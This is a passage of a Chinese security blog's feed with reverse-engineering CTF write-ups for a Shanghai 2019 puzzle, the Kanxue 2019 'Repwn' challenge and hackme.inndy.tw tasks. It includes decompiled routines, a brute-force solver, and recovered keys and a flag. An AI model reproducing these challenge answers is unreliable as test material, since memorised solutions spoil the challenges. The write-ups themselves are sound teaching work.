class="line">0x6C,0x64,0x6E,0x49,</span><br><span class="line">0x4B,0x6B,0x29,0x45,</span><br><span class="line">0xE5,0x04,0xA4,0x4C,</span><br><span class="line">0x34,0x80,0xD2,0x3D,</span><br><span class="line">0xE3,0x99,0x37,0xDC,</span><br><span class="line">0x93,0xC9,0xCA,0xCB,</span><br><span class="line">0xEA,0xB0,0x0F,0x03,</span><br><span class="line">0x8A,0xF3,0x51,0x1C,</span><br><span class="line">0xAD,0x74,0x18,0x2F</span><br></pre></td></tr></table></figure><h3 id="sub-4018D0-xor"><a href="#sub-4018D0-xor" class="headerlink" title="sub_4018D0 - xor"></a>sub_4018D0 - xor</h3><p>函数伪码如下</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">_DWORD *__<span class="function">cdecl <span class="title">sub_4018D0</span><span class="params">(_DWORD *a1, _BYTE *a2, <span class="keyword">int</span> len)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// edx</span></span><br><span class="line">  <span class="keyword">int</span> v4; <span class="comment">// ecx</span></span><br><span class="line">  _DWORD *data; <span class="comment">// esi</span></span><br><span class="line">  _BYTE *input_hex; <span class="comment">// ebx</span></span><br><span class="line">  <span class="keyword">int</span> v7; <span class="comment">// edi</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> *v8; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v9; <span class="comment">// edx</span></span><br><span class="line">  _DWORD *v10; <span class="comment">// ebp</span></span><br><span class="line">  _DWORD *v11; <span class="comment">// ST00_4</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v12; <span class="comment">// ebp</span></span><br><span class="line">  _DWORD *result; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line">  v3 = *a1;</span><br><span class="line">  v4 = a1[<span class="number">1</span>];</span><br><span class="line">  data = a1 + <span class="number">2</span>;</span><br><span class="line">  <span class="keyword">if</span> ( len &gt; <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    input_hex = a2;</span><br><span class="line">    v7 = *a1;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      v7 = (<span class="keyword">unsigned</span> __int8)(v7 + <span class="number">1</span>);</span><br><span class="line">      v8 = &amp;data[v7];                           <span class="comment">// *v8 = 0x12</span></span><br><span class="line">      v9 = *v8;</span><br><span class="line">      v4 = (<span class="keyword">unsigned</span> __int8)(*v8 + v4);         <span class="comment">// v4 = 0x12</span></span><br><span class="line">      v10 = &amp;data[v4];                          <span class="comment">// *v10 = 0xA2</span></span><br><span class="line">      v11 = v10;</span><br><span class="line">      v12 = *v10;</span><br><span class="line">      *v8 = v12;</span><br><span class="line">      *v11 = v9;</span><br><span class="line">      *input_hex++ ^= data[(<span class="keyword">unsigned</span> __int8)(v9 + v12)];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( input_hex != &amp;a2[len] );</span><br><span class="line">    v3 = v7;</span><br><span class="line">  &#125;</span><br><span class="line">  result = a1;</span><br><span class="line">  *a1 = v3;</span><br><span class="line">  a1[<span class="number">1</span>] = v4;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br></pre></td></tr></table></figure><p>逻辑就是从<code>sub_401850</code>生成的数据中取几个出来与输入转成的16进制数据进行异或。</p><p>把这个data中的数据称为key的话，key是长度为8的数组，这个也是固定的，不会随输入改变而改变，所以也可以直接dump出来。</p><blockquote><p>key = [0x7C,0xAB,0x2D,0x91,0x2F,0x98,0xED,0xA9]</p></blockquote><h3 id="sub-401950-check"><a href="#sub-401950-check" class="headerlink" title="sub_401950 - check"></a>sub_401950 - check</h3><p>最后就是这个check函数了，逻辑是将异或之后的数据进行一个case的匹配，然后对程序内一个固定的数据进行加减乘除等运算，最后进行校验。</p><p>这里case的条件有0-9共10个，长度为8，故范围在10**8，爆破即可,大概需要一个多小时吧？具体多久忘了。</p><p>注意一下数据需要与上0xffffffff。</p><h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line">__Author__ = <span class="string">'l1b0'</span></span><br><span class="line"></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string"><span class="meta">&gt;&gt;&gt; </span>a = [6, 1, 4, 9, 5, 0, 7, 2]</span></span><br><span class="line"><span class="string"><span class="meta">&gt;&gt;&gt; </span>b = [0x7C,0xAB,0x2D,0x91,0x2F,0x98,0xED,0xA9]</span></span><br><span class="line"><span class="string"><span class="meta">&gt;&gt;&gt; </span>c = [a[i]^b[i] for i in range(8)]</span></span><br><span class="line"><span class="string"><span class="meta">&gt;&gt;&gt; </span>c</span></span><br><span class="line"><span class="string">[122, 170, 41, 152, 42, 152, 234, 171]</span></span><br><span class="line"><span class="string"><span class="meta">&gt;&gt;&gt; </span>map(hex,c)</span></span><br><span class="line"><span class="string">['0x7a', '0xaa', '0x29', '0x98', '0x2a', '0x98', '0xea', '0xab']</span></span><br><span class="line"><span class="string">flag&#123;5cb92582-66a8-e5b7-d3bf-3b99df8ac7f0&#125;</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"></span><br><span class="line">xor = [<span class="number">0x7C</span>,<span class="number">0xAB</span>,<span class="number">0x2D</span>,<span class="number">0x91</span>,<span class="number">0x2F</span>,<span class="number">0x98</span>,<span class="number">0xED</span>,<span class="number">0xA9</span>]</span><br><span class="line"><span class="comment">#dd = [0x8A,0x01A1,0x012A,0x0269,0x209,0x68,0x039F,0x02C8]</span></span><br><span class="line">correct_d = [<span class="number">0xFFFFFC49</span>,<span class="number">104</span>,<span class="number">16</span>,<span class="number">0xFFFFCC30</span>,<span class="number">14961</span>,<span class="number">14456</span>,<span class="number">231</span>,<span class="number">0xFFFFFF11</span>]</span><br><span class="line"><span class="comment">#v = [[5,8],[1,6],[0,1,9],[0,4,9],[2,3,8],[4,6,7],[5,7],[2,3]]</span></span><br><span class="line">num = <span class="number">10</span>**<span class="number">8</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> aa <span class="keyword">in</span> range(<span class="number">9</span>,<span class="number">-1</span>,<span class="number">-1</span>):</span><br><span class="line">    <span class="keyword">for</span> bb <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line">        <span class="keyword">for</span> cc <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line">            <span class="keyword">for</span> dd <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line">                <span class="keyword">for</span> ee <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line">                    <span class="keyword">for</span> ff <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line">                        <span class="keyword">for</span> gg <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line">                            <span class="keyword">for</span> hh <span class="keyword">in</span> range(<span class="number">10</span>):</span><br><span class="line">                                num -=<span class="number">1</span></span><br><span class="line">                                <span class="comment">#if num &lt; 11104096:</span></span><br><span class="line">                                <span class="comment">#    continue</span></span><br><span class="line">                                f = [aa,bb,cc,dd,ee,ff,gg,hh]</span><br><span class="line">                                d = [<span class="number">0x8A</span>,<span class="number">0x01A1</span>,<span class="number">0x012A</span>,<span class="number">0x0269</span>,<span class="number">0x209</span>,<span class="number">0x68</span>,<span class="number">0x039F</span>,<span class="number">0x02C8</span>]</span><br><span class="line"></span><br><span class="line">                                <span class="keyword">for</span> vi <span class="keyword">in</span> f:</span><br><span class="line"></span><br><span class="line">                                    <span class="keyword">if</span> vi == <span class="number">0</span>:</span><br><span class="line">                                        d[<span class="number">2</span>] &amp;= d[<span class="number">6</span>]</span><br><span class="line">                                        d[<span class="number">3</span>] *= d[<span class="number">2</span>]</span><br><span class="line">                                        d[<span class="number">2</span>] = d[<span class="number">2</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                        d[<span class="number">3</span>] = d[<span class="number">3</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                    <span class="keyword">elif</span> vi == <span class="number">1</span>:</span><br><span class="line">                                        <span class="keyword">if</span> d[<span class="number">3</span>] == <span class="number">0</span>:</span><br><span class="line">                                            <span class="keyword">print</span> (<span class="string">"Wrong!"</span>)</span><br><span class="line">                                            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">                                        d[<span class="number">2</span>] = d[<span class="number">2</span>] // d[<span class="number">3</span>]</span><br><span class="line">                                        d[<span class="number">2</span>] = d[<span class="number">2</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                        d[<span class="number">1</span>] += d[<span class="number">5</span>]</span><br><span class="line">                                        d[<span class="number">1</span>] = d[<span class="number">1</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                    </span><br><span class="line">                                    <span class="keyword">elif</span> vi == <span class="number">2</span>:</span><br><span class="line">                                        d[<span class="number">4</span>] ^= d[<span class="number">5</span>]</span><br><span class="line">                                        d[<span class="number">4</span>] = d[<span class="number">4</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line"></span><br><span class="line">                                        d[<span class="number">7</span>] += d[<span class="number">0</span>]</span><br><span class="line">                                        d[<span class="number">7</span>] = d[<span class="number">7</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                    </span><br><span class="line">                                    <span class="keyword">elif</span> vi == <span class="number">3</span>:</span><br><span class="line">                                        d[<span class="number">7</span>] -= d[<span class="number">4</span>]</span><br><span class="line">                                        d[<span class="number">7</span>] = d[<span class="number">7</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line"></span><br><span class="line">                                        d[<span class="number">4</span>] &amp;= d[<span class="number">1</span>]</span><br><span class="line">                                        d[<span class="number">4</span>] = d[<span class="number">4</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                    </span><br><span class="line">                                    <span class="keyword">elif</span> vi == <span class="number">4</span>:</span><br><span class="line">                                        d[<span class="number">5</span>] *= d[<span class="number">0</span>]</span><br><span class="line">                                        d[<span class="number">5</span>] = d[<span class="number">5</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                        d[<span class="number">3</span>] -= d[<span class="number">6</span>]</span><br><span class="line">                                        d[<span class="number">3</span>] = d[<span class="number">3</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                    </span><br><span class="line">                                    <span class="keyword">elif</span> vi == <span class="number">5</span>:</span><br><span class="line">                                        d[<span class="number">0</span>] ^= d[<span class="number">3</span>]</span><br><span class="line">                                        d[<span class="number">0</span>] = d[<span class="number">0</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                        d[<span class="number">6</span>] -= d[<span class="number">7</span>]</span><br><span class="line">                                        d[<span class="number">6</span>] = d[<span class="number">6</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                    </span><br><span class="line">                                    <span class="keyword">elif</span> vi == <span class="number">6</span>:</span><br><span class="line">                                        <span class="keyword">if</span> d[<span class="number">7</span>] == <span class="number">0</span>:</span><br><span class="line">                                            <span class="keyword">break</span></span><br><span class="line">                                        d[<span class="number">5</span>] = d[<span class="number">5</span>] | (d[<span class="number">1</span>] // d[<span class="number">7</span>])</span><br><span class="line">                                        d[<span class="number">5</span>] = d[<span class="number">5</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                        d[<span class="number">1</span>] = d[<span class="number">1</span>] // d[<span class="number">7</span>]</span><br><span class="line">                                        d[<span class="number">1</span>] = d[<span class="number">1</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                    </span><br><span class="line">                                    <span class="keyword">elif</span> vi == <span class="number">7</span>:</span><br><span class="line">                                        d[<span class="number">6</span>] += d[<span class="number">2</span>]</span><br><span class="line">                                        d[<span class="number">6</span>] = d[<span class="number">6</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                        d[<span class="number">5</span>] |= d[<span class="number">1</span>]</span><br><span class="line">                                        d[<span class="number">5</span>] = d[<span class="number">5</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                    </span><br><span class="line">                                    <span class="keyword">elif</span> vi == <span class="number">8</span>:</span><br><span class="line">                                        d[<span class="number">0</span>] *= d[<span class="number">3</span>]</span><br><span class="line">                                        d[<span class="number">0</span>] = d[<span class="number">0</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                        d[<span class="number">4</span>] -= d[<span class="number">7</span>]</span><br><span class="line">                                        d[<span class="number">4</span>] = d[<span class="number">4</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                    </span><br><span class="line">                                    <span class="keyword">elif</span> vi == <span class="number">9</span>:</span><br><span class="line">                                        d[<span class="number">2</span>] += d[<span class="number">5</span>]</span><br><span class="line">                                        d[<span class="number">2</span>] = d[<span class="number">2</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line">                                        d[<span class="number">3</span>] ^= d[<span class="number">4</span>]</span><br><span class="line">                                        d[<span class="number">3</span>] = d[<span class="number">3</span>] &amp; <span class="number">0xffffffff</span></span><br><span class="line"></span><br><span class="line">                                </span><br><span class="line">                                print(num)</span><br><span class="line">                                <span class="keyword">if</span> d[:<span class="number">5</span>] == correct_d[:<span class="number">5</span>]:</span><br><span class="line">                                    print(f)</span><br><span class="line">                                    print([hex(l) <span class="keyword">for</span> l <span class="keyword">in</span> d])</span><br><span class="line">                                    os.system(<span class="string">"pause"</span>)</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/Shanghai2019/puzzle_22bb655dde94ec691261819cb534460c&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;题目及脚本链接&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
      <category term="Ollydbg" scheme="https://l1b0.fun/tags/Ollydbg/"/>
    
  </entry>
  
  <entry>
    <title>2019看雪CTF-Q1-第六题 Repwn详解</title>
    <link href="https://l1b0.fun/4032/"/>
    <id>https://l1b0.fun/4032/</id>
    <published>2019-03-26T12:34:08.000Z</published>
    <updated>2019-09-23T03:13:36.361Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>这题花了我今天所有的空闲时间（大概五个多小时），所以有必要记录一下自己的解题过程:-)</p><p><a href="https://github.com/L1B0/CTF/tree/master/2019%E7%9C%8B%E9%9B%AACTF-Q1/Repwn" target="_blank" rel="noopener">题目和脚本</a></p></blockquote><h2 id="0x01-第一关（re-pwn-）"><a href="#0x01-第一关（re-pwn-）" class="headerlink" title="0x01 第一关（re+pwn???）"></a>0x01 第一关（re+pwn???）</h2><p>第一个关键函数sub_4014C0伪代码如下</p><p><img src="https://s2.ax1x.com/2019/03/14/AATodg.md.png" alt="1"></p><a id="more"></a><p>首先输入key，进入第一个校验函数sub_4012F0，如下图</p><p><img src="https://s2.ax1x.com/2019/03/14/AATjyV.png" alt="2"></p><p>可以看到是进行明文比较a1[8:20]是否等于<code>X1Y0uN3tG00d</code>，这里的a1即输入的key；并且校验a1[20]是否等于<code>H</code> 。</p><p>接下来进入函数sub_401460，如下图。</p><p><img src="https://s2.ax1x.com/2019/03/14/AAXBp4.png" alt="img"></p><p>该函数给出了key的长度为24，然后通过函数sub_4013B0校验key的前8个字节，前8个字节的校验比较简单，用z3跑一发即可，这里不再赘述。</p><blockquote><p><a href="https://github.com/L1B0/CTF/blob/master/2019%E7%9C%8B%E9%9B%AACTF-Q1/Repwn/exp_z3.py" target="_blank" rel="noopener">z3脚本地址</a></p><p>（比较坑的是题目并没有说key的前八位只能是数字，错了好多次直到问了出题人才知道这题居然还有”标准“答案。。。）</p></blockquote><p>综上我们得到<code>key[0:21] = &quot;20101001X1Y0uN3tG00dH&quot;</code>。</p><p>接着非常奇怪的是key 的最后四个字节仅进行了减操作，然后对key进行了复制，至此key 的校验结束。</p><p>于是用Olldbg动态调试一下，在输入处下断点，F9执行至返回（停在断点），直到运行至0x40149C，如下图。</p><p><img src="https://s2.ax1x.com/2019/03/14/AAXsXR.png" alt="img"></p><p>往后运行一下发现这里还有个jmp指令，继续跟，发现程序崩了，并且错误提示如下。</p><p><img src="https://s2.ax1x.com/2019/03/14/AAXojA.png" alt="img"></p><p>我的输入是<code>20101001X1Y0uN3tG00dH123</code>，而<code>H123</code>的十六进制为<code>0x48313233</code>，各个字节经过函数sub_401460里的减操作之后得到的就是<code>0xF0EB2FC8</code>。也就是说我输入的最后四个字节经过减操作之后被当成地址进行跳转。</p><p>问题是应该跳到哪里去呢？可以确定的是这个地址的最后两位一定是<code>F0</code>，并且地址的前四位一定是<code>0040</code>，以此可以知道<code>key[22:23] = &quot;Ck&quot;</code>，那么就差key[21]了。</p><p>然后我就去IDA疯狂翻地址末尾为F0的函数，然后啥都没翻到。</p><p>最后无意中看到0x00401BF0处的汇编十分可疑，但是此处并没有识别为函数。IDA里右键选择<code>create function</code> 即可。</p><p>而<code>chr(0x46+0x1b) = &#39;a&#39;</code> ，即key就是<code>20101001X1Y0uN3tG00dHaCk</code>。</p><h2 id="0x02-第二关（re）"><a href="#0x02-第二关（re）" class="headerlink" title="0x02 第二关（re）"></a>0x02 第二关（re）</h2><p><img src="https://s2.ax1x.com/2019/03/14/AAXLAf.md.png" alt="img"></p><p>这个加密算法我看了一两个小时。。。</p><p>最后通过一些特征数据查到这是DES加密。。。</p><p>需要注意的是，这里的一大堆赋值跟v12并没有半毛钱关系。。v12的值在0x0040740C处。</p><p><img src="https://s2.ax1x.com/2019/03/14/AAXbHP.png" alt="img"></p><p>Dst是通过密文（64位）每4位一组得到的16个十进制数，这里我一开始看岔了。。绕了好久。</p><p>综上，DES加密，密钥为<code>XiyouNet</code>，密文为<code>0x9db084ac97041e30</code>，python解一发。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; from Crypto.Cipher import DES</span><br><span class="line">&gt;&gt;&gt; key = &apos;XiyouNet&apos;</span><br><span class="line">&gt;&gt;&gt; des = DES.new(key, DES.MODE_ECB)</span><br><span class="line">&gt;&gt;&gt; des.decrypt(&quot;\x9d\xb0\x84\xac\x97\x04\x1e0&quot;)</span><br><span class="line">&apos;Wel1C0me&apos;</span><br><span class="line">&gt;&gt;&gt;</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;这题花了我今天所有的空闲时间（大概五个多小时），所以有必要记录一下自己的解题过程:-)&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/2019%E7%9C%8B%E9%9B%AACTF-Q1/Repwn&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;题目和脚本&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;0x01-第一关（re-pwn-）&quot;&gt;&lt;a href=&quot;#0x01-第一关（re-pwn-）&quot; class=&quot;headerlink&quot; title=&quot;0x01 第一关（re+pwn???）&quot;&gt;&lt;/a&gt;0x01 第一关（re+pwn???）&lt;/h2&gt;&lt;p&gt;第一个关键函数sub_4014C0伪代码如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s2.ax1x.com/2019/03/14/AATodg.md.png&quot; alt=&quot;1&quot;&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
      <category term="DES" scheme="https://l1b0.fun/tags/DES/"/>
    
  </entry>
  
  <entry>
    <title>hackeme.inndy.tw-all-reverse-Writeup</title>
    <link href="https://l1b0.fun/a5a95622/"/>
    <id>https://l1b0.fun/a5a95622/</id>
    <published>2018-10-08T07:32:45.000Z</published>
    <updated>2019-11-23T06:05:42.274Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这里记录一下<a href="https://hackme.inndy.tw" target="_blank" rel="noopener">hackme.inndy.tw</a>至今(2018.10.8)所有reverse类题目的解题思路，遵循站主的规则不放flag。<br>所有题目及脚本都在<a href="https://github.com/L1B0/CTF/tree/master/hackme.inndy.tw/re" target="_blank" rel="noopener">我的github上</a>。</p><p><img src="http://tva1.sinaimg.cn/large/007X8olVly1g8qodhe7khj30vn0gzaca.jpg" alt="jietu"></p><a id="more"></a><h2 id="0x01-helloworld"><a href="#0x01-helloworld" class="headerlink" title="0x01 helloworld"></a>0x01 helloworld</h2><table><thead><tr><th>Name</th><th>Points</th><th>Solved</th><th>Description</th></tr></thead><tbody><tr><td>helloworld</td><td>40</td><td>197</td><td>Guess a number please :D</td></tr></tbody></table><p>首先<code>file</code>一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hackme.inndy.tw/re/helloworld_solved                                                   </span><br><span class="line">▶ file helloworld </span><br><span class="line">helloworld: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7060d74084170ea3740c4ac90ae27516b426da73, with debug_info, not stripped</span><br></pre></td></tr></table></figure><p>用32位ida打开，main函数伪代码如下<br><img src="https://s1.ax1x.com/2018/10/08/iJlFgS.png" alt="helloworld1"></p><p>可以看到只要输入的n等于<code>314159265</code>即可。<br><img src="https://s1.ax1x.com/2018/10/08/iJ8MCt.png" alt="helloworld_flag"></p><h2 id="0x02-simple"><a href="#0x02-simple" class="headerlink" title="0x02 simple"></a>0x02 simple</h2><table><thead><tr><th>Name</th><th>Points</th><th>Solved</th><th>Description</th></tr></thead><tbody><tr><td>simple</td><td>90</td><td>155</td><td>A little bit harder</td></tr></tbody></table><p>首先<code>file</code>一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hackme.inndy.tw/re/simple_solved                                        </span><br><span class="line">▶ file simple-rev </span><br><span class="line">simple-rev: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=923390ca9bbe2a4ff25b70b07516e357cd6e013a, with debug_info, not stripped</span><br></pre></td></tr></table></figure><p>用32位ida打开，main函数伪代码如下<br><img src="https://s1.ax1x.com/2018/10/08/iJlh28.png" alt="simple"></p><p>可以看到逻辑就是输入的buffer经过每位加一后与字符串<code>UIJT.JT.ZPVS.GMBH</code>比较。<br>将已知的字符串每位减一加上flag格式就是flag。</p><p><img src="https://s1.ax1x.com/2018/10/08/iJ81v8.png" alt="simple_flag"></p><h2 id="0x03-passthis"><a href="#0x03-passthis" class="headerlink" title="0x03 passthis"></a>0x03 passthis</h2><table><thead><tr><th>Name</th><th>Points</th><th>Solved</th><th>Description</th></tr></thead><tbody><tr><td>passthis</td><td>80</td><td>2</td><td>You should be able to pass this</td></tr></tbody></table><blockquote><p>这题是前几天刚放的新题，捡了个一血hh</p></blockquote><p>首先<code>file</code>一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hackme.inndy.tw/re/passthis_solved                                      </span><br><span class="line">▶ file passthis.exe </span><br><span class="line">passthis.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows</span><br></pre></td></tr></table></figure><p>用32ida位ida看看，在main函数会进行check_flag的操作，如下</p><p><img src="https://s1.ax1x.com/2018/10/08/iJ88KS.png" alt="passthis"></p><p>关键在红圈部分，v6是我们的输入，byte_404040已知，那就异或回去看看，发现成了。</p><p><img src="https://s1.ax1x.com/2018/10/08/iJ8tEj.png" alt="byte_404040"></p><blockquote><p><strong>这里分享一个小trick，提取数据可以通过选中数据然后shift+E快速得到。</strong></p></blockquote><p>脚本及结果如下</p><p><img src="https://s1.ax1x.com/2018/10/08/iJ8bad.png" alt="passthis_flag"></p><h2 id="0x04-pyyy"><a href="#0x04-pyyy" class="headerlink" title="0x04 pyyy"></a>0x04 pyyy</h2><table><thead><tr><th>Name</th><th>Points</th><th>Solved</th><th>Description</th></tr></thead><tbody><tr><td>pyyy</td><td>110</td><td>66</td><td>Can you pass the challenage?</td></tr></tbody></table><p>首先<code>file</code>一下，发现是pyc文件。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">hackme.inndy.tw/re/pyc_solved                                           </span><br><span class="line">▶ file pyyy.pyc </span><br><span class="line">pyyy.pyc: python 2.7 byte-compiled</span><br></pre></td></tr></table></figure><p>用uncompyle2反编译即可(这里建议不要用在线反编译网站，因为结果和源码不完全相同)。</p><blockquote><p>安装uncompyle2<br>Linux： sudo pip install uncompyle2<br>Windows：<a href="https://www.cnblogs.com/pcat/p/5400911.html" target="_blank" rel="noopener">https://www.cnblogs.com/pcat/p/5400911.html</a></p></blockquote><p>执行<code>uncompyle2 -o out.py pyyy.pyc</code>得到源码，关键代码如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">for i, f in enumerate(F):</span><br><span class="line">    n = pow(f, m, g)</span><br><span class="line">    this_is = &apos;Y-Combinator&apos;</span><br><span class="line">    l = (lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda x: (1 if x &lt; 2 else f(x - 1) * x % n))(g % 27777)</span><br><span class="line">    c = raw_input(&apos;Channenge #%d:&apos; % i)</span><br><span class="line">    if int(c) != l:</span><br><span class="line">        print &apos;Wrong~&apos;</span><br><span class="line">        exit()</span><br><span class="line">    